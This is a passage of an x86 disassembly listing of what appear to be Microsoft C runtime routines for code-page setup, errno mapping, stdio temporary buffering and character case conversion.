		mov	esp, ebp
		pop	ebp
		retn
sub_42B800	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42BB50	proc near		; CODE XREF: sub_42B800+14p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	dword_4E92C4, 0
		cmp	[ebp+arg_0], 0FFFFFFFEh
		jnz	short loc_42BB75
		mov	dword_4E92C4, 1
		nop
		call	near ptr 29D07E5h
		jmp	short loc_42BBA7
; ---------------------------------------------------------------------------


loc_42BB75:				; CODE XREF: sub_42BB50+11j
		cmp	[ebp+arg_0], 0FFFFFFFDh
		jnz	short loc_42BB8D
		mov	dword_4E92C4, 1
		nop
		call	near ptr 29D07D4h
		jmp	short loc_42BBA7
; ---------------------------------------------------------------------------


loc_42BB8D:				; CODE XREF: sub_42BB50+29j
		cmp	[ebp+arg_0], 0FFFFFFFCh
		jnz	short loc_42BBA4
		mov	dword_4E92C4, 1
		mov	eax, dword_4E92F4
		jmp	short loc_42BBA7
; ---------------------------------------------------------------------------


loc_42BBA4:				; CODE XREF: sub_42BB50+41j
		mov	eax, [ebp+arg_0]


loc_42BBA7:				; CODE XREF: sub_42BB50+23j
					; sub_42BB50+3Bj ...
		pop	ebp
		retn
sub_42BB50	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42BBB0	proc near		; CODE XREF: sub_42B800+161p
					; sub_42B800+2B5p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		sub	ecx, 3A4h
		mov	[ebp+var_4], ecx
		cmp	[ebp+var_4], 12h
		ja	short loc_42BBFA
		mov	eax, [ebp+var_4]
		xor	edx, edx
		mov	dl, byte_42BC14[eax]
		jmp	off_42BC00[edx*4]


loc_42BBDE:				; DATA XREF: .XComp0:off_42BC00o
		mov	eax, 411h
		jmp	short loc_42BBFC
; ---------------------------------------------------------------------------


loc_42BBE5:				; CODE XREF: sub_42BBB0+27j
					; DATA XREF: .XComp0:0042BC04o
		mov	eax, 804h
		jmp	short loc_42BBFC
; ---------------------------------------------------------------------------


loc_42BBEC:				; CODE XREF: sub_42BBB0+27j
					; DATA XREF: .XComp0:0042BC08o
		mov	eax, 412h
		jmp	short loc_42BBFC
; ---------------------------------------------------------------------------


loc_42BBF3:				; CODE XREF: sub_42BBB0+27j
					; DATA XREF: .XComp0:0042BC0Co
		mov	eax, 404h
		jmp	short loc_42BBFC
; ---------------------------------------------------------------------------


loc_42BBFA:				; CODE XREF: sub_42BBB0+1Aj
					; sub_42BBB0+27j
					; DATA XREF: ...
		xor	eax, eax


loc_42BBFC:				; CODE XREF: sub_42BBB0+33j
					; sub_42BBB0+3Aj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_42BBB0	endp

; ---------------------------------------------------------------------------
off_42BC00	dd offset loc_42BBDE	; DATA XREF: sub_42BBB0+27r
		dd offset loc_42BBE5
		dd offset loc_42BBEC
		dd offset loc_42BBF3
		dd offset loc_42BBFA
byte_42BC14	db 0			; DATA XREF: sub_42BBB0+21r
		db 3 dup(4)
		dd 4040401h, 2 dup(4040404h), 0CC030204h, 2 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42BC30	proc near		; CODE XREF: sub_42B800+41p
					; sub_42B800+31Bp

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], 0
		jmp	short loc_42BC46
; ---------------------------------------------------------------------------


loc_42BC3D:				; CODE XREF: sub_42BC30+29j
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax


loc_42BC46:				; CODE XREF: sub_42BC30+Bj
		cmp	[ebp+var_4], 101h
		jge	short loc_42BC5B
		mov	ecx, [ebp+var_4]
		mov	byte_4E97C0[ecx], 0
		jmp	short loc_42BC3D
; ---------------------------------------------------------------------------


loc_42BC5B:				; CODE XREF: sub_42BC30+1Dj
		mov	dword_4E96AC, 0
		mov	dword_4E96BC, 0
		mov	dword_4E98C4, 0
		mov	[ebp+var_4], 0
		jmp	short loc_42BC8B
; ---------------------------------------------------------------------------


loc_42BC82:				; CODE XREF: sub_42BC30+6Ej
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx


loc_42BC8B:				; CODE XREF: sub_42BC30+50j
		cmp	[ebp+var_4], 6
		jge	short loc_42BCA0
		mov	eax, [ebp+var_4]
		mov	word_4E96B0[eax*2], 0
		jmp	short loc_42BC82
; ---------------------------------------------------------------------------


loc_42BCA0:				; CODE XREF: sub_42BC30+5Fj
		mov	esp, ebp
		pop	ebp
		retn
sub_42BC30	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42BCB0	proc near		; CODE XREF: sub_42B800+46p
					; sub_42B800:loc_42B9A4p ...

var_51C		= dword	ptr -51Ch
var_518		= byte ptr -518h
var_418		= byte ptr -418h
var_318		= byte ptr -318h
var_312		= byte ptr -312h
var_304		= byte ptr -304h
var_204		= word ptr -204h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 51Ch
		lea	eax, [ebp+var_318]
		push	eax
		mov	ecx, dword_4E96AC
		push	ecx
		nop
		call	near ptr 29D0000h
		cmp	eax, 1
		jnz	loc_42BEE9
		mov	[ebp+var_51C], 0
		jmp	short loc_42BCF1
; ---------------------------------------------------------------------------


loc_42BCE2:				; CODE XREF: sub_42BCB0+60j
		mov	edx, [ebp+var_51C]
		add	edx, 1
		mov	[ebp+var_51C], edx


loc_42BCF1:				; CODE XREF: sub_42BCB0+30j
		cmp	[ebp+var_51C], 100h
		jnb	short loc_42BD12
		mov	eax, [ebp+var_51C]
		mov	cl, byte ptr [ebp+var_51C]
		mov	[ebp+eax+var_304], cl
		jmp	short loc_42BCE2
; ---------------------------------------------------------------------------


loc_42BD12:				; CODE XREF: sub_42BCB0+4Bj
		mov	[ebp+var_304], 20h
		lea	edx, [ebp+var_312]
		mov	[ebp+var_4], edx
		jmp	short loc_42BD2D
; ---------------------------------------------------------------------------


loc_42BD24:				; CODE XREF: sub_42BCB0:loc_42BD76j
		mov	eax, [ebp+var_4]
		add	eax, 2
		mov	[ebp+var_4], eax


loc_42BD2D:				; CODE XREF: sub_42BCB0+72j
		mov	ecx, [ebp+var_4]
		xor	edx, edx
		mov	dl, [ecx]
		test	edx, edx
		jz	short loc_42BD78
		mov	eax, [ebp+var_4]
		xor	ecx, ecx
		mov	cl, [eax]
		mov	[ebp+var_51C], ecx
		jmp	short loc_42BD56
; ---------------------------------------------------------------------------


loc_42BD47:				; CODE XREF: sub_42BCB0+C4j
		mov	edx, [ebp+var_51C]
		add	edx, 1
		mov	[ebp+var_51C], edx


loc_42BD56:				; CODE XREF: sub_42BCB0+95j
		mov	eax, [ebp+var_4]
		xor	ecx, ecx
		mov	cl, [eax+1]
		cmp	[ebp+var_51C], ecx
		ja	short loc_42BD76
		mov	edx, [ebp+var_51C]
		mov	[ebp+edx+var_304], 20h
		jmp	short loc_42BD47
; ---------------------------------------------------------------------------


loc_42BD76:				; CODE XREF: sub_42BCB0+B4j
		jmp	short loc_42BD24
; ---------------------------------------------------------------------------


loc_42BD78:				; CODE XREF: sub_42BCB0+86j
		push	0
		mov	eax, dword_4E98C4
		push	eax
		mov	ecx, dword_4E96AC
		push	ecx
		lea	edx, [ebp+var_204]
		push	edx
		push	100h
		lea	eax, [ebp+var_304]
		push	eax
		push	1
		call	sub_433870
		add	esp, 1Ch
		push	0
		mov	ecx, dword_4E96AC
		push	ecx
		push	100h
		lea	edx, [ebp+var_418]
		push	edx
		push	100h
		lea	eax, [ebp+var_304]
		push	eax
		push	100h
		mov	ecx, dword_4E98C4
		push	ecx
		call	sub_4312B0
		add	esp, 20h
		push	0
		mov	edx, dword_4E96AC
		push	edx
		push	100h
		lea	eax, [ebp+var_518]
		push	eax
		push	100h
		lea	ecx, [ebp+var_304]
		push	ecx
		push	200h
		mov	edx, dword_4E98C4
		push	edx
		call	sub_4312B0
		add	esp, 20h
		mov	[ebp+var_51C], 0
		jmp	short loc_42BE29
; ---------------------------------------------------------------------------


loc_42BE1A:				; CODE XREF: sub_42BCB0:loc_42BEDFj
		mov	eax, [ebp+var_51C]
		add	eax, 1
		mov	[ebp+var_51C], eax


loc_42BE29:				; CODE XREF: sub_42BCB0+168j
		cmp	[ebp+var_51C], 100h
		jnb	loc_42BEE4
		mov	ecx, [ebp+var_51C]
		xor	edx, edx
		mov	dx, [ebp+ecx*2+var_204]
		and	edx, 1
		test	edx, edx
		jz	short loc_42BE86
		mov	eax, [ebp+var_51C]
		mov	cl, byte_4E97C1[eax]
		or	cl, 10h
		mov	edx, [ebp+var_51C]
		mov	byte_4E97C1[edx], cl
		mov	eax, [ebp+var_51C]
		mov	ecx, [ebp+var_51C]
		mov	dl, [ebp+ecx+var_418]
		mov	byte_4E96C0[eax], dl
		jmp	short loc_42BEDF
; ---------------------------------------------------------------------------


loc_42BE86:				; CODE XREF: sub_42BCB0+19Ej
		mov	eax, [ebp+var_51C]
		xor	ecx, ecx
		mov	cx, [ebp+eax*2+var_204]
		and	ecx, 2
		test	ecx, ecx
		jz	short loc_42BED2
		mov	edx, [ebp+var_51C]
		mov	al, byte_4E97C1[edx]
		or	al, 20h
		mov	ecx, [ebp+var_51C]
		mov	byte_4E97C1[ecx], al
		mov	edx, [ebp+var_51C]
		mov	eax, [ebp+var_51C]
		mov	cl, [ebp+eax+var_518]
		mov	byte_4E96C0[edx], cl
		jmp	short loc_42BEDF
; ---------------------------------------------------------------------------


loc_42BED2:				; CODE XREF: sub_42BCB0+1EBj
		mov	edx, [ebp+var_51C]
		mov	byte_4E96C0[edx], 0


loc_42BEDF:				; CODE XREF: sub_42BCB0+1D4j
					; sub_42BCB0+220j
		jmp	loc_42BE1A
; ---------------------------------------------------------------------------


loc_42BEE4:				; CODE XREF: sub_42BCB0+183j
		jmp	loc_42BFAE
; ---------------------------------------------------------------------------


loc_42BEE9:				; CODE XREF: sub_42BCB0+20j
		mov	[ebp+var_51C], 0
		jmp	short loc_42BF04
; ---------------------------------------------------------------------------


loc_42BEF5:				; CODE XREF: sub_42BCB0:loc_42BFA9j
		mov	eax, [ebp+var_51C]
		add	eax, 1
		mov	[ebp+var_51C], eax


loc_42BF04:				; CODE XREF: sub_42BCB0+243j
		cmp	[ebp+var_51C], 100h
		jnb	loc_42BFAE
		cmp	[ebp+var_51C], 41h
		jb	short loc_42BF58
		cmp	[ebp+var_51C], 5Ah
		ja	short loc_42BF58
		mov	ecx, [ebp+var_51C]
		mov	dl, byte_4E97C1[ecx]
		or	dl, 10h
		mov	eax, [ebp+var_51C]
		mov	byte_4E97C1[eax], dl
		mov	ecx, [ebp+var_51C]
		add	ecx, 20h
		mov	edx, [ebp+var_51C]
		mov	byte_4E96C0[edx], cl
		jmp	short loc_42BFA9
; ---------------------------------------------------------------------------


loc_42BF58:				; CODE XREF: sub_42BCB0+26Bj
					; sub_42BCB0+274j
		cmp	[ebp+var_51C], 61h
		jb	short loc_42BF9C
		cmp	[ebp+var_51C], 7Ah
		ja	short loc_42BF9C
		mov	eax, [ebp+var_51C]
		mov	cl, byte_4E97C1[eax]
		or	cl, 20h
		mov	edx, [ebp+var_51C]
		mov	byte_4E97C1[edx], cl
		mov	eax, [ebp+var_51C]
		sub	eax, 20h
		mov	ecx, [ebp+var_51C]
		mov	byte_4E96C0[ecx], al
		jmp	short loc_42BFA9
; ---------------------------------------------------------------------------


loc_42BF9C:				; CODE XREF: sub_42BCB0+2AFj
					; sub_42BCB0+2B8j
		mov	edx, [ebp+var_51C]
		mov	byte_4E96C0[edx], 0


loc_42BFA9:				; CODE XREF: sub_42BCB0+2A6j
					; sub_42BCB0+2EAj
		jmp	loc_42BEF5
; ---------------------------------------------------------------------------


loc_42BFAE:				; CODE XREF: sub_42BCB0:loc_42BEE4j
					; sub_42BCB0+25Ej
		mov	esp, ebp
		pop	ebp
		retn
sub_42BCB0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		cmp	dword_4E96BC, 0
		jz	short loc_42BFD3
		mov	eax, dword_4E96AC
		jmp	short loc_42BFD5
; ---------------------------------------------------------------------------


loc_42BFD3:				; CODE XREF: .XComp0:0042BFCAj
		xor	eax, eax


loc_42BFD5:				; CODE XREF: .XComp0:0042BFD1j
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42BFE0	proc near		; CODE XREF: sub_431830+Dp
					; sub_4318F0+Fp ...
		push	ebp
		mov	ebp, esp
		cmp	dword_4EA90C, 0
		jnz	short loc_42C000
		push	0FFFFFFFDh
		call	sub_42B800
		add	esp, 4
		mov	dword_4EA90C, 1


loc_42C000:				; CODE XREF: sub_42BFE0+Aj
		pop	ebp
		retn
sub_42BFE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42C010	proc near		; CODE XREF: sub_421C90+41p
					; sub_421C90+11Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax
		cmp	dword_4E96BC, 0
		jnz	short loc_42C03C
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_421470
		add	esp, 0Ch
		jmp	loc_42C131
; ---------------------------------------------------------------------------


loc_42C03C:				; CODE XREF: sub_42C010+11j
		push	19h
		call	sub_425990
		add	esp, 4


loc_42C046:				; CODE XREF: sub_42C010:loc_42C0FEj
		cmp	[ebp+arg_8], 0
		jz	loc_42C103
		mov	ecx, [ebp+arg_8]
		sub	ecx, 1
		mov	[ebp+arg_8], ecx
		mov	edx, [ebp+arg_4]
		xor	eax, eax
		mov	al, [edx]
		xor	ecx, ecx
		mov	cl, byte_4E97C1[eax]
		and	ecx, 4
		test	ecx, ecx
		jz	short loc_42C0D5
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		mov	cl, [eax]
		mov	[edx], cl
		mov	edx, [ebp+arg_0]
		add	edx, 1
		mov	[ebp+arg_0], edx
		mov	eax, [ebp+arg_4]
		add	eax, 1
		mov	[ebp+arg_4], eax
		cmp	[ebp+arg_8], 0
		jnz	short loc_42C09A
		mov	ecx, [ebp+arg_0]
		mov	byte ptr [ecx-1], 0
		jmp	short loc_42C103
; ---------------------------------------------------------------------------


loc_42C09A:				; CODE XREF: sub_42C010+7Fj
		mov	edx, [ebp+arg_8]
		sub	edx, 1
		mov	[ebp+arg_8], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		mov	dl, [ecx]
		mov	[eax], dl
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		mov	cl, [eax]
		mov	edx, [ebp+arg_0]
		add	edx, 1
		mov	[ebp+arg_0], edx
		mov	eax, [ebp+arg_4]
		add	eax, 1
		mov	[ebp+arg_4], eax
		test	ecx, ecx
		jnz	short loc_42C0D3
		mov	ecx, [ebp+arg_0]
		mov	byte ptr [ecx-2], 0
		jmp	short loc_42C103
; ---------------------------------------------------------------------------


loc_42C0D3:				; CODE XREF: sub_42C010+B8j
		jmp	short loc_42C0FE
; ---------------------------------------------------------------------------


loc_42C0D5:				; CODE XREF: sub_42C010+5Dj
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		mov	cl, [eax]
		mov	[edx], cl
		mov	edx, [ebp+arg_0]
		xor	eax, eax
		mov	al, [edx]
		mov	ecx, [ebp+arg_0]
		add	ecx, 1
		mov	[ebp+arg_0], ecx
		mov	edx, [ebp+arg_4]
		add	edx, 1
		mov	[ebp+arg_4], edx
		test	eax, eax
		jnz	short loc_42C0FE
		jmp	short loc_42C103
; ---------------------------------------------------------------------------


loc_42C0FE:				; CODE XREF: sub_42C010:loc_42C0D3j
					; sub_42C010+EAj
		jmp	loc_42C046
; ---------------------------------------------------------------------------


loc_42C103:				; CODE XREF: sub_42C010+3Aj
					; sub_42C010+88j ...
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		sub	ecx, 1
		mov	[ebp+arg_8], ecx
		test	eax, eax
		jz	short loc_42C124
		mov	edx, [ebp+arg_0]
		mov	byte ptr [edx],	0
		mov	eax, [ebp+arg_0]
		add	eax, 1
		mov	[ebp+arg_0], eax
		jmp	short loc_42C103
; ---------------------------------------------------------------------------


loc_42C124:				; CODE XREF: sub_42C010+101j
		push	19h
		call	sub_425A30
		add	esp, 4
		mov	eax, [ebp+var_4]


loc_42C131:				; CODE XREF: sub_42C010+27j
		mov	esp, ebp
		pop	ebp
		retn
sub_42C010	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42C140	proc near		; CODE XREF: sub_421F10+2Ep
					; sub_4240E0+1Ep ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		call	sub_42C1F0
		mov	ecx, [ebp+arg_0]
		mov	[eax], ecx
		mov	[ebp+var_4], 0
		jmp	short loc_42C160
; ---------------------------------------------------------------------------


loc_42C157:				; CODE XREF: sub_42C140:loc_42C188j
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx


loc_42C160:				; CODE XREF: sub_42C140+15j
		cmp	[ebp+var_4], 2Dh
		jnb	short loc_42C18A
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		cmp	ecx, dword_452608[eax*8]
		jnz	short loc_42C188
		call	sub_42C1E0
		mov	edx, [ebp+var_4]
		mov	ecx, dword_45260C[edx*8]
		mov	[eax], ecx
		jmp	short loc_42C1CD
; ---------------------------------------------------------------------------


loc_42C188:				; CODE XREF: sub_42C140+33j
		jmp	short loc_42C157
; ---------------------------------------------------------------------------


loc_42C18A:				; CODE XREF: sub_42C140+24j
		cmp	[ebp+arg_0], 13h
		jb	short loc_42C1A3
		cmp	[ebp+arg_0], 24h
		ja	short loc_42C1A3
		call	sub_42C1E0
		mov	dword ptr [eax], 0Dh
		jmp	short loc_42C1CD
; ---------------------------------------------------------------------------


loc_42C1A3:				; CODE XREF: sub_42C140+4Ej
					; sub_42C140+54j
		cmp	[ebp+arg_0], 0BCh
		jb	short loc_42C1C2
		cmp	[ebp+arg_0], 0CAh
		ja	short loc_42C1C2
		call	sub_42C1E0
		mov	dword ptr [eax], 8
		jmp	short loc_42C1CD
; ---------------------------------------------------------------------------


loc_42C1C2:				; CODE XREF: sub_42C140+6Aj
					; sub_42C140+73j
		call	sub_42C1E0
		mov	dword ptr [eax], 16h


loc_42C1CD:				; CODE XREF: sub_42C140+46j
					; sub_42C140+61j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_42C140	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42C1E0	proc near		; CODE XREF: sub_422070:loc_422342p
					; sub_423D50:loc_423DABp ...
		push	ebp
		mov	ebp, esp
		call	sub_42B630
		add	eax, 8
		pop	ebp
		retn
sub_42C1E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42C1F0	proc near		; CODE XREF: sub_4240E0+4Ap
					; sub_4253C0+3Cp ...
		push	ebp
		mov	ebp, esp
		call	sub_42B630
		add	eax, 0Ch
		pop	ebp
		retn
sub_42C1F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42C200	proc near		; CODE XREF: sub_421F80+79p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi


loc_42C209:				; CODE XREF: sub_42C200+31j
		cmp	[ebp+arg_0], 0
		jnz	short loc_42C22D
		push	offset dword_43E4A4
		push	0
		push	41h
		push	offset a_sftbuf_c ; "_sftbuf.c"
		push	2
		call	sub_424D20
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_42C22D
		int	3		; Trap to Debugger


loc_42C22D:				; CODE XREF: sub_42C200+Dj
					; sub_42C200+2Aj
		xor	eax, eax
		test	eax, eax
		jnz	short loc_42C209
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		mov	eax, [edx+10h]
		push	eax
		call	sub_4340A0
		add	esp, 4
		test	eax, eax
		jnz	short loc_42C253
		xor	eax, eax
		jmp	loc_42C350
; ---------------------------------------------------------------------------


loc_42C253:				; CODE XREF: sub_42C200+4Aj
		cmp	[ebp+var_4], offset dword_44FF68
		jnz	short loc_42C265
		mov	[ebp+var_8], 0
		jmp	short loc_42C27E
; ---------------------------------------------------------------------------


loc_42C265:				; CODE XREF: sub_42C200+5Aj
		cmp	[ebp+var_4], offset dword_44FF88
		jnz	short loc_42C277
		mov	[ebp+var_8], 1
		jmp	short loc_42C27E
; ---------------------------------------------------------------------------


loc_42C277:				; CODE XREF: sub_42C200+6Cj
		xor	eax, eax
		jmp	loc_42C350
; ---------------------------------------------------------------------------


loc_42C27E:				; CODE XREF: sub_42C200+63j
					; sub_42C200+75j
		mov	ecx, dword_4E9250
		add	ecx, 1
		mov	dword_4E9250, ecx
		mov	edx, [ebp+var_4]
		mov	eax, [edx+0Ch]
		and	eax, 10Ch
		test	eax, eax
		jz	short loc_42C2A3
		xor	eax, eax
		jmp	loc_42C350
; ---------------------------------------------------------------------------


loc_42C2A3:				; CODE XREF: sub_42C200+9Aj
		mov	ecx, [ebp+var_8]
		cmp	dword_4E92C8[ecx*4], 0
		jnz	short loc_42C30A
		push	5Eh
		push	offset a_sftbuf_c ; "_sftbuf.c"
		push	2
		push	1000h
		call	sub_41EDD0
		add	esp, 10h
		mov	edx, [ebp+var_8]
		mov	dword_4E92C8[edx*4], eax
		mov	eax, [ebp+var_8]
		cmp	dword_4E92C8[eax*4], 0
		jnz	short loc_42C30A
		mov	ecx, [ebp+var_4]
		add	ecx, 14h
		mov	edx, [ebp+var_4]
		mov	[edx+8], ecx
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+8]
		mov	[eax], edx
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax+18h], 2
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx+4], 2
		jmp	short loc_42C339
; ---------------------------------------------------------------------------


loc_42C30A:				; CODE XREF: sub_42C200+AEj
					; sub_42C200+DBj
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	ecx, dword_4E92C8[eax*4]
		mov	[edx+8], ecx
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+8]
		mov	[edx], ecx
		mov	edx, [ebp+var_4]
		mov	dword ptr [edx+18h], 1000h
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax+4], 1000h


loc_42C339:				; CODE XREF: sub_42C200+108j
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+0Ch]
		or	edx, 1102h
		mov	eax, [ebp+var_4]
		mov	[eax+0Ch], edx
		mov	eax, 1


loc_42C350:				; CODE XREF: sub_42C200+4Ej
					; sub_42C200+79j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_42C200	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42C360	proc near		; CODE XREF: sub_421F80+A3p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi


loc_42C367:				; CODE XREF: sub_42C360+38j
		cmp	[ebp+arg_0], 0
		jz	short loc_42C394
		cmp	[ebp+arg_0], 1
		jz	short loc_42C394
		push	offset aFlag0Flag1 ; "flag == 0	|| flag	== 1"
		push	0
		push	0A1h
		push	offset a_sftbuf_c ; "_sftbuf.c"
		push	2
		call	sub_424D20
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_42C394
		int	3		; Trap to Debugger


loc_42C394:				; CODE XREF: sub_42C360+Bj
					; sub_42C360+11j ...
		xor	eax, eax
		test	eax, eax
		jnz	short loc_42C367
		mov	ecx, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		cmp	[ebp+arg_0], 0
		jz	short loc_42C3ED
		mov	edx, [ebp+var_4]
		mov	eax, [edx+0Ch]
		and	eax, 1000h
		test	eax, eax
		jz	short loc_42C3ED
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_425630
		add	esp, 4
		mov	edx, [ebp+var_4]
		mov	eax, [edx+0Ch]
		and	ah, 0EEh
		mov	ecx, [ebp+var_4]
		mov	[ecx+0Ch], eax
		mov	edx, [ebp+var_4]
		mov	dword ptr [edx+18h], 0
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax], 0
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx+8], 0


loc_42C3ED:				; CODE XREF: sub_42C360+44j
					; sub_42C360+53j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_42C360	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+8]
		sub	eax, 20h
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42C410	proc near		; CODE XREF: sub_422070+201p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4E92E4, 0
		jnz	short loc_42C437
		cmp	[ebp+arg_0], 61h
		jl	short loc_42C432
		cmp	[ebp+arg_0], 7Ah
		jg	short loc_42C432
		mov	eax, [ebp+arg_0]
		sub	eax, 20h
		mov	[ebp+arg_0], eax


loc_42C432:				; CODE XREF: sub_42C410+11j
					; sub_42C410+17j
		mov	eax, [ebp+arg_0]
		jmp	short loc_42C49F
; ---------------------------------------------------------------------------


loc_42C437:				; CODE XREF: sub_42C410+Bj
		push	offset dword_4E96A8
		call	near ptr 2950B3Fh
		nop
		cmp	dword_4E96A4, 0
		jz	short loc_42C469
		push	offset dword_4E96A8
		call	near ptr 2950A89h
		nop
		push	13h
		call	sub_425990
		add	esp, 4
		mov	[ebp+var_4], 1
		jmp	short loc_42C470
; ---------------------------------------------------------------------------


loc_42C469:				; CODE XREF: sub_42C410+39j
		mov	[ebp+var_4], 0


loc_42C470:				; CODE XREF: sub_42C410+57j
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42C4B0
		add	esp, 4
		mov	[ebp+arg_0], eax
		cmp	[ebp+var_4], 0
		jz	short loc_42C491
		push	13h
		call	sub_425A30
		add	esp, 4
		jmp	short loc_42C49C
; ---------------------------------------------------------------------------


loc_42C491:				; CODE XREF: sub_42C410+73j
		push	offset dword_4E96A8
		call	near ptr 2950A89h
		nop


loc_42C49C:				; CODE XREF: sub_42C410+7Fj
		mov	eax, [ebp+arg_0]


loc_42C49F:				; CODE XREF: sub_42C410+25j
		mov	esp, ebp
		pop	ebp
		retn
sub_42C410	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42C4B0	proc near		; CODE XREF: sub_42C410+64p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		cmp	dword_4E92E4, 0
		jnz	short loc_42C4DC
		cmp	[ebp+arg_0], 61h
		jl	short loc_42C4D4
		cmp	[ebp+arg_0], 7Ah
		jg	short loc_42C4D4
		mov	eax, [ebp+arg_0]
		sub	eax, 20h
		mov	[ebp+arg_0], eax


loc_42C4D4:				; CODE XREF: sub_42C4B0+13j
					; sub_42C4B0+19j
		mov	eax, [ebp+arg_0]
		jmp	loc_42C5D7
; ---------------------------------------------------------------------------


loc_42C4DC:				; CODE XREF: sub_42C4B0+Dj
		cmp	[ebp+arg_0], 100h
		jge	short loc_42C523
		cmp	dword_4524F0, 1
		jle	short loc_42C501
		push	2
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_429750
		add	esp, 8
		mov	[ebp+var_10], eax
		jmp	short loc_42C515
; ---------------------------------------------------------------------------


loc_42C501:				; CODE XREF: sub_42C4B0+3Cj
		mov	edx, [ebp+arg_0]
		mov	eax, off_4522E4
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 2
		mov	[ebp+var_10], ecx


loc_42C515:				; CODE XREF: sub_42C4B0+4Fj
		cmp	[ebp+var_10], 0
		jnz	short loc_42C523
		mov	eax, [ebp+arg_0]
		jmp	loc_42C5D7
; ---------------------------------------------------------------------------


loc_42C523:				; CODE XREF: sub_42C4B0+33j
					; sub_42C4B0+69j
		mov	edx, [ebp+arg_0]
		sar	edx, 8
		and	edx, 0FFh
		and	edx, 0FFh
		mov	eax, off_4522E4
		xor	ecx, ecx
